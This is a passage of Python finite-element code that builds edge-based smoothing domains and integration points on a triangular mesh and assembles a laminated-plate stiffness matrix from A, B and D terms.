= None othernode1 = (set(tria1.nodes) - set(edge.nodes)).pop() mid1 = tria1.getMid() elif len(edge.trias) == 2: tria1 = edge.trias[0] tria2 = edge.trias[1] othernode1 = (set(tria1.nodes) - set(edge.nodes)).pop() othernode2 = (set(tria2.nodes) - set(edge.nodes)).pop() mid1 = tria1.getMid() mid2 = tria2.getMid() else: raise NotImplementedError('ntrias != 1 or 2 for an edge') node1 = edge.nodes[0] node2 = edge.nodes[1] ipts = [] sdomain = [] # to guarantee outward normals sign = 1 if np.dot(np.cross((mid1 - node2).pos, (node1 - node2).pos), ZGLOBAL) < 0: sign = -1 tmpvec = (node1 - mid1).pos nx, ny, nz = unitvec(np.cross(tmpvec, sign*ZGLOBAL)) sdomain.append(node1) sdomain.append(mid1) le = np.sqrt(((node1.pos - mid1.pos)**2).sum()) ipt = IntegrationPoint(tria1, node1, node2, othernode1, 2/3, 1/6, 1/6, nx, ny, nz, le) ipts.append(ipt) #NOTE check only if for distorted meshes these ratios 2/3, 1/6, 1/6 are # still valid #ipt = ipts[-1] #A1 = area_of_polygon([node1.pos[0], node2.pos[0], othernode1.pos[0]], #[node1.pos[1], node2.pos[1], othernode1.pos[1]]) #fA1 = area_of_polygon([ipt.pos[0], node2.pos[0], othernode1.pos[0]], #[ipt.pos[1], node2.pos[1], othernode1.pos[1]]) #print('DEBUG area: %1.3f = %1.3f' % (fA1/A1, 2/3)) tmpvec = (mid1 - node2).pos nx, ny, nz = unitvec(np.cross(tmpvec, sign*ZGLOBAL)) sdomain.append(node2) le = np.sqrt(((mid1.pos - node2.pos)**2).sum()) ipt = IntegrationPoint(tria1, node1, node2, othernode1, 1/6, 2/3, 1/6, nx, ny, nz, le) ipts.append(ipt) if tria2 is None: tmpvec = (node2 - node1).pos nx, ny, nz = unitvec(np.cross(tmpvec, sign*ZGLOBAL)) sdomain.append(node1) le = np.sqrt(((node2.pos - node1.pos)**2).sum()) ipt = IntegrationPoint(tria1, node1, node2, othernode1, 1/2, 1/2, 0, nx, ny, nz, le) ipts.append(ipt) else: tmpvec = (node2 - mid2).pos nx, ny, nz = unitvec(np.cross(tmpvec, sign*ZGLOBAL)) sdomain.append(mid2) le = np.sqrt(((node2.pos - mid2.pos)**2).sum()) ipt = IntegrationPoint(tria2, node1, node2, othernode2, 1/6, 2/3, 1/6, nx, ny, nz, le) ipts.append(ipt) tmpvec = (mid2 - node1).pos nx, ny, nz = unitvec(np.cross(tmpvec, sign*ZGLOBAL)) sdomain.append(node1) le = np.sqrt(((mid2.pos - node1.pos)**2).sum()) ipt = IntegrationPoint(tria2, node1, node2, othernode2, 2/3, 1/6, 1/6, nx, ny, nz, le) ipts.append(ipt) edge.sdomain = sdomain edge.Ac = area_of_polygon([sr.pos[0] for sr in sdomain[:-1]], [sr.pos[1] for sr in sdomain[:-1]]) edge.ipts = ipts xcoord = [pt.pos[0] for pt in sdomain] ycoord = [pt.pos[1] for pt in sdomain] plt.plot(xcoord, ycoord, '-k', lw=0.25) xcoord = [ipt.pos[0] for ipt in ipts] ycoord = [ipt.pos[1] for ipt in ipts] plt.plot(xcoord, ycoord, 'xk', mew=0.25, mfc='None') xcord = [node.pos[0] for node in nodes] ycord = [node.pos[1] for node in nodes] plt.scatter(xcord, ycord) plt.gca().set_aspect('equal') # ASSEMBLYING GLOBAL MATRICES # renumbering nodes using Liu's suggested algorithm # - sorting nodes from a minimum spatial position to a maximum one # - Node oject will carry an index that will position it in the global # stiffness matrix nodes_xyz = np.array([n.pos for n in nodes]) index_ref_point = nodes_xyz.min(axis=0) index_dist = ((nodes_xyz - index_ref_point)**2).sum(axis=-1) indices = np.argsort(index_dist) ind2node = {} for i, node in enumerate(nodes): node.index = i #node.index = indices[i] #ind2node[node.index] = node n = nodes.shape[0] dof = 5 # material properties E11 = 71.e9 nu = 0.33 plyt = 0.01 lam = read_stack([0], plyt=plyt, laminaprop=(E11, E11, nu)) prop = Property(lam.A, lam.B, lam.D, lam.E) for tria in trias: tria.prop = prop #TODO allocate less memory here... k0 = np.zeros((n*dof, n*dof), dtype=np.float64) prop_from_node = False count = 0 Atotal = 0 for edge in edges: n1 = edge.nodes[0] n2 = edge.nodes[1] Ac = edge.Ac Atotal += Ac ipts = edge.ipts for ipt in ipts: if True: # plotting arrows indicating normals for each integration point A1 = area_of_polygon([tria.n1.pos[0], tria.n2.pos[0], tria.n3.pos[0]], [tria.n1.pos[1], tria.n2.pos[1], tria.n3.pos[1]]) f = 0.05 la = A1**0.5/8 plt.arrow(ipt.pos[0]-la*ipt.nx, ipt.pos[1]-la*ipt.ny, f*ipt.nx, f*ipt.ny, head_width=0.05, head_length=0.05, fc='k', ec='k') indices = set() for ipt in ipts: indices.add(ipt.n1.index) indices.add(ipt.n2.index) indices.add(ipt.n3.index) indices = sorted(list(indices)) if len(ipts) == 3: indices.append(-1) # fourth dummy index indexpos = dict([[ind, i] for i, ind in enumerate(indices)]) i1, i2, i3, i4 = indices f1 = [0, 0, 0, 0] f2 = [0, 0, 0, 0] f3 = [0, 0, 0, 0] f4 = [0, 0, 0, 0] nx1 = ipts[0].nx ny1 = ipts[0].ny le1 = ipts[0].le f1[indexpos[ipts[0].n1.index]] = ipts[0].f1 f1[indexpos[ipts[0].n2.index]] = ipts[0].f2 f1[indexpos[ipts[0].n3.index]] = ipts[0].f3 nx2 = ipts[1].nx ny2 = ipts[1].ny le2 = ipts[1].le f21 = ipts[1].f1 f22 = ipts[1].f2 f23 = ipts[1].f3 f2[indexpos[ipts[1].n1.index]] = ipts[1].f1 f2[indexpos[ipts[1].n2.index]] = ipts[1].f2 f2[indexpos[ipts[1].n3.index]] = ipts[1].f3 nx3 = ipts[2].nx ny3 = ipts[2].ny le3 = ipts[2].le f3[indexpos[ipts[2].n1.index]] = ipts[2].f1 f3[indexpos[ipts[2].n2.index]] = ipts[2].f2 f3[indexpos[ipts[2].n3.index]] = ipts[2].f3 if len(ipts) == 3: nx4 = 0 ny4 = 0 le4 = 0 else: nx4 = ipts[3].nx ny4 = ipts[3].ny le4 = ipts[3].le f4[indexpos[ipts[3].n1.index]] = ipts[3].f1 f4[indexpos[ipts[3].n2.index]] = ipts[3].f2 f4[indexpos[ipts[3].n3.index]] = ipts[3].f3 f11, f12, f13, f14 = f1 f21, f22, f23, f24 = f2 f31, f32, f33, f34 = f3 f41, f42, f43, f44 = f4 #FIXME do some weighted average on A, B, D # either use properties from tria or nodes if prop_from_node: pass #A = f1*ipt.n1.prop.A + f2*ipt.n2.prop.A + f3*ipt.n3.prop.A #B = f1*ipt.n1.prop.B + f2*ipt.n2.prop.B + f3*ipt.n3.prop.B #D = f1*ipt.n1.prop.D + f2*ipt.n2.prop.D + f3*ipt.n3.prop.D #E = f1*ipt.n1.prop.E + f2*ipt.n2.prop.E + f3*ipt.n3.prop.E else: A = ipts[0].tria.prop.A B = ipts[0].tria.prop.B D = ipts[0].tria.prop.D A11 = A[0, 0] A12 = A[0, 1] A16 = A[0, 2] A22 = A[1, 1] A26 = A[1, 2] A66 = A[2, 2] B11 = B[0, 0] B12 = B[0, 1] B16 = B[0, 2] B22 = B[1, 1] B26 = B[1, 2] B66 = B[2, 2] D11 = D[0, 0] D12 = D[0, 1] D16 = D[0, 2] D22 = D[1, 1] D26 = D[1, 2] D66 = D[2, 2] #TODO calculate only upper triangle k0[i1*dof+0, i1*dof+0] += Ac*((A11*(f11*le1*nx1 + f21*le2*nx2 + f31*le3*nx3 + f41*le4*nx4)/Ac + A16*(f11*le1*ny1 + f21*le2*ny2 + f31*le3*ny3 + f41*le4*ny4)/Ac)*(f11*le1*nx1 + f21*le2*nx2 + f31*le3*nx3 + f41*le4*nx4)/Ac + (A16*(f11*le1*nx1 + f21*le2*nx2 + f31*le3*nx3 + f41*le4*nx4)/Ac + A66*(f11*le1*ny1 + f21*le2*ny2 + f31*le3*ny3 + f41*le4*ny4)/Ac)*(f11*le1*ny1 + f21*le2*ny2 + f31*le3*ny3 + f41*le4*ny4)/Ac) k0[i1*dof+0, i1*dof+1] += Ac*((A12*(f11*le1*nx1 + f21*le2*nx2 + f31*le3*nx3 + f41*le4*nx4)/Ac + A26*(f11*le1*ny1 + f21*le2*ny2 + f31*le3*ny3 + f41*le4*ny4)/Ac)*(f11*le1*ny1 + f21*le2*ny2 + f31*le3*ny3 + f41*le4*ny4)/Ac + (A16*(f11*le1*nx1 + f21*le2*nx2 + f31*le3*nx3 + f41*le4*nx4)/Ac + A66*(f11*le1*ny1 + f21*le2*ny2 + f31*le3*ny3 + f41*le4*ny4)/Ac)*(f11*le1*nx1 + f21*le2*nx2 + f31*le3*nx3 + f41*le4*nx4)/Ac) k0[i1*dof+0, i1*dof+3] += Ac*((B11*(f11*le1*nx1 + f21*le2*nx2 + f31*le3*nx3 + f41*le4*nx4)/Ac + B16*(f11*le1*ny1 + f21*le2*ny2 + f31*le3*ny3 + f41*le4*ny4)/Ac)*(f11*le1*nx1 + f21*le2*nx2 + f31*le3*nx3 + f41*le4*nx4)/Ac + (B16*(f11*le1*nx1 + f21*le2*nx2 + f31*le3*nx3 + f41*le4*nx4)/Ac + B66*(f11*le1*ny1 + f21*le2*ny2 + f31*le3*ny3 + f41*le4*ny4)/Ac)*(f11*le1*ny1 + f21*le2*ny2 + f31*le3*ny3 + f41*le4*ny4)/Ac) k0[i1*dof+0, i1*dof+4] += Ac*((B12*(f11*le1*nx1 + f21*le2*nx2 + f31*le3*nx3 + f41*le4*nx4)/Ac + B26*(f11*le1*ny1 + f21*le2*ny2 + f31*le3*ny3 + f41*le4*ny4)/Ac)*(f11*le1*ny1 + f21*le2*ny2 + f31*le3*ny3 + f41*le4*ny4)/Ac + (B16*(f11*le1*nx1 + f21*le2*nx2 + f31*le3*nx3 + f41*le4*nx4)/Ac + B66*(f11*le1*ny1 + f21*le2*ny2 + f31*le3*ny3 + f41*le4*ny4)/Ac)*(f11*le1*nx1 + f21*le2*nx2 + f31*le3*nx3 + f41*le4*nx4)/Ac) k0[i1*dof+0, i2*dof+0] += Ac*((A11*(f11*le1*nx1 + f21*le2*nx2 + f31*le3*nx3 + f41*le4*nx4)/Ac + A16*(f11*le1*ny1 + f21*le2*ny2 + f31*le3*ny3 + f41*le4*ny4)/Ac)*(f12*le1*nx1 + f22*le2*nx2 + f32*le3*nx3 + f42*le4*nx4)/Ac + (A16*(f11*le1*nx1 + f21*le2*nx2 + f31*le3*nx3 + f41*le4*nx4)/Ac + A66*(f11*le1*ny1 + f21*le2*ny2 + f31*le3*ny3 + f41*le4*ny4)/Ac)*(f12*le1*ny1 + f22*le2*ny2 + f32*le3*ny3 + f42*le4*ny4)/Ac) k0[i1*dof+0, i2*dof+1] += Ac*((A12*(f11*le1*nx1 + f21*le2*nx2 + f31*le3*nx3 + f41*le4*nx4)/Ac + A26*(f11*le1*ny1 + f21*le2*ny2 + f31*le3*ny3 + f41*le4*ny4)/Ac)*(f12*le1*ny1 + f22*le2*ny2 + f32*le3*ny3 + f42*le4*ny4)/Ac + (A16*(f11*le1*nx1 + f21*le2*nx2 + f31*le3*nx3 + f41*le4*nx4)/Ac + A66*(f11*le1*ny1 + f21*le2*ny2 + f31*le3*ny3 + f41*le4*ny4)/Ac)*(f12*le1*nx1 + f22*le2*nx2 + f32*le3*nx3 + f42*le4*nx4)/Ac) k0[i1*dof+0, i2*dof+3] += Ac*((B11*(f11*le1*nx1 + f21*le2*nx2 + f31*le3*nx3 + f41*le4*nx4)/Ac + B16*(f11*le1*ny1 + f21*le2*ny2 + f31*le3*ny3 + f41*le4*ny4)/Ac)*(f12*le1*nx1 + f22*le2*nx2 + f32*le3*nx3 + f42*le4*nx4)/Ac + (B16*(f11*le1*nx1 + f21*le2*nx2 + f31*le3*nx3 + f41*le4*nx4)/Ac + B66*(f11*le1*ny1 + f21*le2*ny2 + f31*le3*ny3 + f41*le4*ny4)/Ac)*(f12*le1*ny1 + f22*le2*ny2 + f32*le3*ny3 + f42*le4*ny4)/Ac) k0[i1*dof+0, i2*dof+4] += Ac*((B12*(f11*le1*nx1 + f21*le2*nx2 + f31*le3*nx3 + f41*le4*nx4)/Ac + B26*(f11*le1*ny1 + f21*le2*ny2 + f31*le3*ny3 + f41*le4*ny4)/Ac)*(f12*le1*ny1 + f22*le2*ny2 + f32*le3*ny3 + f42*le4*ny4)/Ac + (B16*(f11*le1*nx1 + f21*le2*nx2 + f31*le3*nx3 + f41*le4*nx4)/Ac + B66*(f11*le1*ny1 + f21*le2*ny2 + f31*le3*ny3 + f41*le4*ny4)/Ac)*(f12*le1*nx1 + f22*le2*nx2 + f32*le3*nx3 + f42*le4*nx4)/Ac) k0[i1*dof+0, i3*dof+0] += Ac*((A11*(f11*le1*nx1 + f21*le2*nx2 + f31*le3*nx3 + f41*le4*nx4)/Ac + A16*(f11*le1*ny1 + f21*le2*ny2 + f31*le3*ny3 + f41*le4*ny4)/Ac)*(f13*le1*nx1 + f23*le2*nx2 + f33*le3*nx3 + f43*le4*nx4)/Ac + (A16*(f11*le1*nx1 + f21*le2*nx2 + f31*le3*nx3 + f41*le4*nx4)/Ac + A66*(f11*le1*ny1 + f21*le2*ny2 + f31*le3*ny3 + f41*le4*ny4)/Ac)*(f13*le1*ny1 + f23*le2*ny2 + f33*le3*ny3 + f43*le4*ny4)/Ac) k0[i1*dof+0, i3*dof+1] += Ac*((A12*(f11*le1*nx1 + f21*le2*nx2 + f31*le3*nx3 + f41*le4*nx4)/Ac + A26*(f11*le1*ny1 + f21*le2*ny2 + f31*le3*ny3 + f41*le4*ny4)/Ac)*(f13*le1*ny1 + f23*le2*ny2 + f33*le3*ny3 + f43*le4*ny4)/Ac + (A16*(f11*le1*nx1 + f21*le2*nx2 + f31*le3*nx3 + f41*le4*nx4)/Ac + A66*(f11*le1*ny1 + f21*le2*ny2 + f31*le3*ny3 + f41*le4*ny4)/Ac)*(f13*le1*nx1 + f23*le2*nx2 + f33*le3*nx3 + f43*le4*nx4)/Ac) k0[i1*dof+0, i3*dof+3] += Ac*((B11*(f11*le1*nx1 + f21*le2*nx2 + f31*le3*nx3 + f41*le4*nx4)/Ac + B16*(f11*le1*ny1 + f21*le2*ny2 + f31*le3*ny3 + f41*le4*ny4)/Ac)*(f13*le1*nx1 + f23*le2*nx2 + f33*le3*nx3 + f43*le4*nx4)/Ac + (B16*(f11*le1*nx1 + f21*le2*nx2 + f31*le3*nx3 + f41*le4*nx4)/Ac + B66*(f11*le1*ny1 + f21*le2*ny2 + f31*le3*ny3 + f41*le4*ny4)/Ac)*(f13*le1*ny1 + f23*le2*ny2 + f33*le3*ny3 + f43*le4*ny4)/Ac) k0[i1*dof+0, i3*dof+4] += Ac*((B12*(f11*le1*nx1 + f21*le2*nx2 + f31*le3*nx3 + f41*le4*nx4)/Ac + B26*(f11*le1*ny1 + f21*le2*ny2 + f31*le3*ny3 + f41*le4*ny4)/Ac)*(f13*le1*ny1 + f23*le2*ny2 + f33*le3*ny3 + f43*le4*ny4)/Ac + (B16*(f11*le1*nx1 + f21*le2*nx2 + f31*le3*nx3 + f41*le4*nx4)/Ac + B66*(f11*le1*ny1 + f21*le2*ny2 + f31*le3*ny3 + f41*le4*ny4)/Ac)*(f13*le1*nx1 + f23*le2*nx2 + f33*le3*nx3 + f43*le4*nx4)/Ac) k0[i1*dof+0, i4*dof+0] += Ac*((A11*(f11*le1*nx1 + f21*le2*nx2 + f31*le3*nx3 + f41*le4*nx4)/Ac + A16*(f11*le1*ny1 + f21*le2*ny2 + f31*le3*ny3 + f41*le4*ny4)/Ac)*(f14*le1*nx1 + f24*le2*nx2 + f34*le3*nx3 + f44*le4*nx4)/Ac + (A16*(f11*le1*nx1 + f21*le2*nx2 + f31*le3*nx3 + f41*le4*nx4)/Ac + A66*(f11*le1*ny1 + f21*le2*ny2 + f31*le3*ny3 + f41*le4*ny4)/Ac)*(f14*le1*ny1 + f24*le2*ny2 + f34*le3*ny3 + f44*le4*ny4)/Ac) k0[i1*dof+0, i4*dof+1] += Ac*((A12*(f11*le1*nx1 + f21*le2*nx2 + f31*le3*nx3 + f41*le4*nx4)/Ac + A26*(f11*le1*ny1 + f21*le2*ny2 + f31*le3*ny3 + f41*le4*ny4)/Ac)*(f14*le1*ny1 + f24*le2*ny2 + f34*le3*ny3 + f44*le4*ny4)/Ac + (A16*(f11*le1*nx1 + f21*le2*nx2 + f31*le3*nx3 + f41*le4*nx4)/Ac + A66*(f11*le1*ny1 + f21*le2*ny2 + f31*le3*ny3 + f41*le4*ny4)/Ac)*(f14*le1*nx1 + f24*le2*nx2 + f34*le3*nx3 + f44*le4*nx4)/Ac) k0[i1*dof+0, i4*dof+3] += Ac*((B11*(f11*le1*nx1 + f21*le2*nx2 + f31*le3*nx3 + f41*le4*nx4)/Ac + B16*(f11*le1*ny1 + f21*le2*ny2 + f31*le3*ny3 + f41*le4*ny4)/Ac)*(f14*le1*nx1 + f24*le2*nx2 + f34*le3*nx3 + f44*le4*nx4)/Ac + (B16*(f11*le1*nx1 + f21*le2*nx2 + f31*le3*nx3 + f41*le4*nx4)/Ac + B66*(f11*le1*ny1 + f21*le2*ny2 + f31*le3*ny3 + f41*le4*ny4)/Ac)*(f14*le1*ny1 + f24*le2*ny2 + f34*le3*ny3 + f44*le4*ny4)/Ac) k0[i1*dof+0, i4*dof+4] += Ac*((B12*(f11*le1*nx1 + f21*le2*nx2 + f31*le3*nx3 + f41*le4*nx4)/Ac + B26*(f11*le1*ny1 + f21*le2*ny2 + f31*le3*ny3 + f41*le4*ny4)/Ac)*(f14*le1*ny1 + f24*le2*ny2 + f34*le3*ny3 + f44*le4*ny4)/Ac + (B16*(f11*le1*nx1 + f21*le2*nx2 + f31*le3*nx3 + f41*le4*nx4)/Ac + B66*(f11*le1*ny1 + f21*le2*ny2 + f31*le3*ny3 + f41*le4*ny4)/Ac)*(f14*le1*nx1 + f24*le2*nx2 + f34*le3*nx3 + f44*le4*nx4)/Ac) k0[i1*dof+1, i1*dof+0] += Ac*((A12*(f11*le1*ny1 + f21*le2*ny2 + f31*le3*ny3 + f41*le4*ny4)/Ac + A16*(f11*le1*nx1 + f21*le2*nx2 + f31*le3*nx3 + f41*le4*nx4)/Ac)*(f11*le1*nx1 + f21*le2*nx2 + f31*le3*nx3 + f41*le4*nx4)/Ac + (A26*(f11*le1*ny1 + f21*le2*ny2 + f31*le3*ny3 + f41*le4*ny4)/Ac + A66*(f11*le1*nx1 + f21*le2*nx2 + f31*le3*nx3 + f41*le4*nx4)/Ac)*(f11*le1*ny1 + f21*le2*ny2 + f31*le3*ny3 + f41*le4*ny4)/Ac) k0[i1*dof+1, i1*dof+1] += Ac*((A22*(f11*le1*ny1 + f21*le2*ny2 + f31*le3*ny3 + f41*le4*ny4)/Ac + A26*(f11*le1*nx1 + f21*le2*nx2 + f31*le3*nx3 + f41*le4*nx4)/Ac)*(f11*le1*ny1 + f21*le2*ny2 + f31*le3*ny3 + f41*le4*ny4)/Ac + (A26*(f11*le1*ny1 + f21*le2*ny2 + f31*le3*ny3 + f41*le4*ny4)/Ac + A66*(f11*le1*nx1 + f21*le2*nx2 + f31*le3*nx3 + f41*le4*nx4)/Ac)*(f11*le1*nx1 + f21*le2*nx2 + f31*le3*nx3 + f41*le4*nx4)/Ac) k0[i1*dof+1, i1*dof+3] += Ac*((B12*(f11*le1*ny1 + f21*le2*ny2 + f31*le3*ny3 + f41*le4*ny4)/Ac + B16*(f11*le1*nx1 + f21*le2*nx2 + f31*le3*nx3 + f41*le4*nx4)/Ac)*(f11*le1*nx1 + f21*le2*nx2 + f31*le3*nx3 + f41*le4*nx4)/Ac + (B26*(f11*le1*ny1 + f21*le2*ny2 + f31*le3*ny3 + f41*le4*ny4)/Ac + B66*(f11*le1*nx1 + f21*le2*nx2 + f31*le3*nx3 + f41*le4*nx4)/Ac)*(f11*le1*ny1 + f21*le2*ny2 + f31*le3*ny3 + f41*le4*ny4)/Ac) k0[i1*dof+1, i1*dof+4] += Ac*((B22*(f11*le1*ny1 + f21*le2*ny2 + f31*le3*ny3 + f41*le4*ny4)/Ac + B26*(f11*le1*nx1 + f21*le2*nx2 + f31*le3*nx3 + f41*le4*nx4)/Ac)*(f11*le1*ny1 + f21*le2*ny2 + f31*le3*ny3 + f41*le4*ny4)/Ac + (B26*(f11*le1*ny1 + f21*le2*ny2 + f31*le3*ny3 + f41*le4*ny4)/Ac + B66*(f11*le1*nx1 + f21*le2*nx2 + f31*le3*nx3 + f41*le4*nx4)/Ac)*(f11*le1*nx1 + f21*le2*nx2 + f31*le3*nx3 + f41*le4*nx4)/Ac) k0[i1*dof+1, i2*dof+0] += Ac*((A12*(f11*le1*ny1 + f21*le2*ny2 + f31*le3*ny3 + f41*le4*ny4)/Ac + A16*(f11*le1*nx1 + f21*le2*nx2 + f31*le3*nx3 + f41*le4*nx4)/Ac)*(f12*le1*nx1 + f22*le2*nx2 + f32*le3*nx3 + f42*le4*nx4)/Ac + (A26*(f11*le1*ny1 + f21*le2*ny2 + f31*le3*ny3 + f41*le4*ny4)/Ac + A66*(f11*le1*nx1 + f21*le2*nx2 + f31*le3*nx3 + f41*le4*nx4)/Ac)*(f12*le1*ny1 + f22*le2*ny2 + f32*le3*ny3 + f42*le4*ny4)/Ac) k0[i1*dof+1, i2*dof+1] += Ac*((A22*(f11*le1*ny1 + f21*le2*ny2 + f31*le3*ny3 + f41*le4*ny4)/Ac + A26*(f11*le1*nx1 + f21*le2*nx2 + f31*le3*nx3 + f41*le4*nx4)/Ac)*(f12*le1*ny1 + f22*le2*ny2 + f32*le3*ny3 + f42*le4*ny4)/Ac + (A26*(f11*le1*ny1 + f21*le2*ny2 + f31*le3*ny3 + f41*le4*ny4)/Ac + A66*(f11*le1*nx1 + f21*le2*nx2 + f31*le3*nx3 + f41*le4*nx4)/Ac)*(f12*le1*nx1 + f22*le2*nx2 + f32*le3*nx3 + f42*le4*nx4)/Ac) k0[i1*dof+1, i2*dof+3] += Ac*((B12*(f11*le1*ny1 + f21*le2*ny2 + f31*le3*ny3 + f41*le4*ny4)/Ac + B16*(f11*le1*nx1 + f21*le2*nx2 + f31*le3*nx3 + f41*le4*nx4)/Ac)*(f12*le1*nx1 + f22*le2*nx2 + f32*le3*nx3 + f42*le4*nx4)/Ac + (B26*(f11*le1*ny1 + f21*le2*ny2 + f31*le3*ny3 + f41*le4*ny4)/Ac + B66*(f11*le1*nx1 + f21*le2*nx2 + f31*le3*nx3 + f41*le4*nx4)/Ac)*(f12*le1*ny1 + f22*le2*ny2 + f32*le3*ny3 + f42*le4*ny4)/Ac) k0[i1*dof+1, i2*dof+4] += Ac*((B22*(f11*le1*ny1 + f21*le2*ny2 + f31*le3*ny3 + f41*le4*ny4)/Ac + B26*(f11*le1*nx1 + f21*le2*nx2 + f31*le3*nx3 + f41*le4*nx4)/Ac)*(f12*le1*ny1 + f22*le2*ny2 + f32*le3*ny3 + f42*le4*ny4)/Ac + (B26*(f11*le1*ny1 + f21*le2*ny2 + f31*le3*ny3 + f41*le4*ny4)/Ac + B66*(f11*le1*nx1 + f21*le2*nx2 + f31*le3*nx3 + f41*le4*nx4)/Ac)*(f12*le1*nx1 + f22*le2*nx2 + f32*le3*nx3 + f42*le4*nx4)/Ac) k0[i1*dof+1, i3*dof+0] += Ac*((A12*(f11*le1*ny1 + f21*le2*ny2 + f31*le3*ny3 + f41*le4*ny4)/Ac + A16*(f11*le1*nx1 + f21*le2*nx2 + f31*le3*nx3 + f41*le4*nx4)/Ac)*(f13*le1*nx1 + f23*le2*nx2 + f33*le3*nx3 + f43*le4*nx4)/Ac + (A26*(f11*le1*ny1 + f21*le2*ny2 + f31*le3*ny3 + f41*le4*ny4)/Ac + A66*(f11*le1*nx1 + f21*le2*nx2 + f31*le3*nx3 + f41*le4*nx4)/Ac)*(f13*le1*ny1 + f23*le2*ny2 + f33*le3*ny3 + f43*le4*ny4)/Ac) k0[i1*dof+1, i3*dof+1] += Ac*((A22*(f11*le1*ny1 + f21*le2*ny2 + f31*le3*ny3 + f41*le4*ny4)/Ac + A26*(f11*le1*nx1 + f21*le2*nx2 + f31*le3*nx3 + f41*le4*nx4)/Ac)*(f13*le1*ny1 + f23*le2*ny2 + f33*le3*ny3 + f43*le4*ny4)/Ac + (A26*(f11*le1*ny1 + f21*le2*ny2 + f31*le3*ny3 + f41*le4*ny4)/Ac + A66*(f11*le1*nx1 + f21*le2*nx2 + f31*le3*nx3 + f41*le4*nx4)/Ac)*(f13*le1*nx1 + f23*le2*nx2 + f33*le3*nx3 + f43*le4*nx4)/Ac) k0[i1*dof+1, i3*dof+3] += Ac*((B12*(f11*le1*ny1 + f21*le2*ny2 + f31*le3*ny3 + f41*le4*ny4)/Ac + B16*(f11*le1*nx1 + f21*le2*nx2 + f31*le3*nx3 + f41*le4*nx4)/Ac)*(f13*le1*nx1 + f23*le2*nx2 + f33*le3*nx3 + f43*le4*nx4)/Ac + (B26*(f11*le1*ny1 + f21*le2*ny2 + f31*le3*ny3 + f41*le4*ny4)/Ac + B66*(f11*le1*nx1 + f21*le2*nx2 + f31*le3*nx3 + f41*le4*nx4)/Ac)*(f13*le1*ny1 + f23*le2*ny2 + f33*le3*ny3 + f43*le4*ny4)/Ac) k0[i1*dof+1, i3*dof+4] += Ac*((B22*(f11*le1*ny1 + f21*le2*ny2 + f31*le3*ny3 + f41*le4*ny4)/Ac + B26*(f11*le1*nx1 + f21*le2*nx2 + f31*le3*nx3 + f41*le4*nx4)/Ac)*(f13*le1*ny1 + f23*le2*ny2 + f33*le3*ny3 + f43*le4*ny4)/Ac + (B26*(f11*le1*ny1 + f21*le2*ny2 + f31*le3*ny3 + f41*le4*ny4)/Ac + B66*(f11*le1*nx1 + f21*le2*nx2 + f31*le3*nx3 + f41*le4*nx4)/Ac)*(f13*le1*nx1 + f23*le2*nx2 + f33*le3*nx3 + f43*le4*nx4)/Ac) k0[i1*dof+1, i4*dof+0] += Ac*((A12*(f11*le1*ny1 + f21*le2*ny2 + f31*le3*ny3 + f41*le4*ny4)/Ac + A16*(f11*le1*nx1 + f21*le2*nx2 + f31*le3*nx3 + f41*le4*nx4)/Ac)*(f14*le1*nx1 + f24*le2*nx2 + f34*le3*nx3 + f44*le4*nx4)/Ac + (A26*(f11*le1*ny1 + f21*le2*ny2 + f31*le3*ny3 + f41*le4*ny4)/Ac + A66*(f11*le1*nx1 + f21*le2*nx2 + f31*le3*nx3 + f41*le4*nx4)/Ac)*(f14*le1*ny1 + f24*le2*ny2 + f34*le3*ny3 + f44*le4*ny4)/Ac) k0[i1*dof+1, i4*dof+1] += Ac*((A22*(f11*le1*ny1 + f21*le2*ny2 + f31*le3*ny3 + f41*le4*ny4)/Ac + A26*(f11*le1*nx1 + f21*le2*nx2 + f31*le3*nx3 + f41*le4*nx4)/Ac)*(f14*le1*ny1 + f24*le2*ny2 + f34*le3*ny3 + f44*le4*ny4)/Ac + (A26*(f11*le1*ny1 + f21*le2*ny2 + f31*le3*ny3 + f41*le4*ny4)/Ac + A66*(f11*le1*nx1 + f21*le2*nx2 + f31*le3*nx3 + f41*le4*nx4)/Ac)*(f14*le1*nx1 + f24*le2*nx2 + f34*le3*nx3 + f44*le4*nx4)/Ac) k0[i1*dof+1, i4*dof+3] += Ac*((B12*(f11*le1*ny1 + f21*le2*ny2 + f31*le3*ny3 + f41*le4*ny4)/Ac + B16*(f11*le1*nx1 + f21*le2*nx2 + f31*le3*nx3 + f41*le4*nx4)/Ac)*(f14*le1*nx1 + f24*le2*nx2 + f34*le3*nx3 + f44*le4*nx4)/Ac + (B26*(f11*le1*ny1 + f21*le2*ny2 + f31*le3*ny3 + f41*le4*ny4)/Ac + B66*(f11*le1*nx1 + f21*le2*nx2 + f31*le3*nx3 + f41*le4*nx4)/Ac)*(f14*le1*ny1 + f24*le2*ny2 + f34*le3*ny3 + f44*le4*ny4)/Ac) k0[i1*dof+1, i4*dof+4] += Ac*((B22*(f11*le1*ny1 + f21*le2*ny2 + f31*le3*ny3 + f41*le4*ny4)/Ac + B26*(f11*le1*nx1 + f21*le2*nx2 + f31*le3*nx3 + f41*le4*nx4)/Ac)*(f14*le1*ny1 + f24*le2*ny2 + f34*le3*ny3 + f44*le4*ny4)/Ac + (B26*(f11*le1*ny1 + f21*le2*ny2 + f31*le3*ny3 + f41*le4*ny4)/Ac + B66*(f11*le1*nx1 + f21*le2*nx2 + f31*le3*nx3 + f41*le4*nx4)/Ac)*(f14*le1*nx1 + f24*le2*nx2 + f34*le3*nx3 + f44*le4*nx4)/Ac) k0[i1*dof+3, i1*dof+0] += Ac*((B11*(f11*le1*nx1 + f21*le2*nx2 + f31*le3*nx3 + f41*le4*nx4)/Ac + B16*(f11*le1*ny1 + f21*le2*ny2 + f31*le3*ny3 + f41*le4*ny4)/Ac)*(f11*le1*nx1 + f21*le2*nx2 + f31*le3*nx3 + f41*le4*nx4)/Ac + (B16*(f11*le1*nx1 + f21*le2*nx2 + f31*le3*nx3 + f41*le4*nx4)/Ac + B66*(f11*le1*ny1 + f21*le2*ny2 + f31*le3*ny3 + f41*le4*ny4)/Ac)*(f11*le1*ny1 + f21*le2*ny2 + f31*le3*ny3 + f41*le4*ny4)/Ac) k0[i1*dof+3, i1*dof+1] += Ac*((B12*(f11*le1*nx1 + f21*le2*nx2 + f31*le3*nx3 + f41*le4*nx4)/Ac + B26*(f11*le1*ny1 + f21*le2*ny2 + f31*le3*ny3 + f41*le4*ny4)/Ac)*(f11*le1*ny1 + f21*le2*ny2 + f31*le3*ny3 + f41*le4*ny4)/Ac + (B16*(f11*le1*nx1 + f21*le2*nx2 + f31*le3*nx3 + f41*le4*nx4)/Ac + B66*(f11*le1*ny1 + f21*le2*ny2 + f31*le3*ny3 + 